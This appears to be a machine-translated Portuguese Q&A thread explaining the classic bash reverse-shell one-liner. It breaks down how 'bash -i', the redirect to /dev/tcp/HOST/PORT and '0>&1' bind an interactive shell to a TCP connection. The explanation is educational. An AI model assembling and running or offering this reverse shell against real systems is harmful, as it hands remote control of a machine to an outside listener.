Respostas:
Esse trecho executa uma nova instância interativa do bash ( bash -i
), em uma conexão TCP com a porta especificada no host especificado, criado para a duração do processo do bash. A saída padrão e o erro padrão são enviados através desta conexão ( >& /dev/tcp/HOST/PORT
) e a entrada padrão é lida através desta conexão ( 0>&1
- isso deve ser, 0<&1
mas 0>&1
também funciona).
Não há encaminhamento de porta em andamento. Obviamente, um servidor TCP de algum tipo deve estar ouvindo e aceitando conexões nesse HOST: PORT, e o firewall deve permitir a conexão.
/dev/tcp/HOST/PORT
? Supus que você substituísse um nome por HOST
e um número por PORT
. Caso contrário, você receberá uma mensagem de erro do bash. Como você não mencionou nenhuma mensagem de erro, presumo que você não tenha visto uma.
0<&1
parte. Eu li como 'pegue o bash stdout ( &1
) e coloque-o no bash stdin ( 0
)', o que faz sentido. Você pode explicar como esta parte funciona?
0<&1
significa conectar o que está aberto no descritor de arquivo 1 ao descritor de arquivo 0. Como o redirecionamento anterior >& /dev/tcp/HOST/PORT
conectou o fd 1 (o padrão para um redirecionamento de saída) a /dev/tcp/HOST/PORT
, ou seja, abriu um soquete TCP, isso duplica a conexão TCP ao descritor de arquivo 0 (ou seja, o Agora, o mesmo soquete também está aberto no fd 0, diferente de 0 </ dev / tcp / HOST / PORT, que abriria um soquete diferente no mesmo servidor).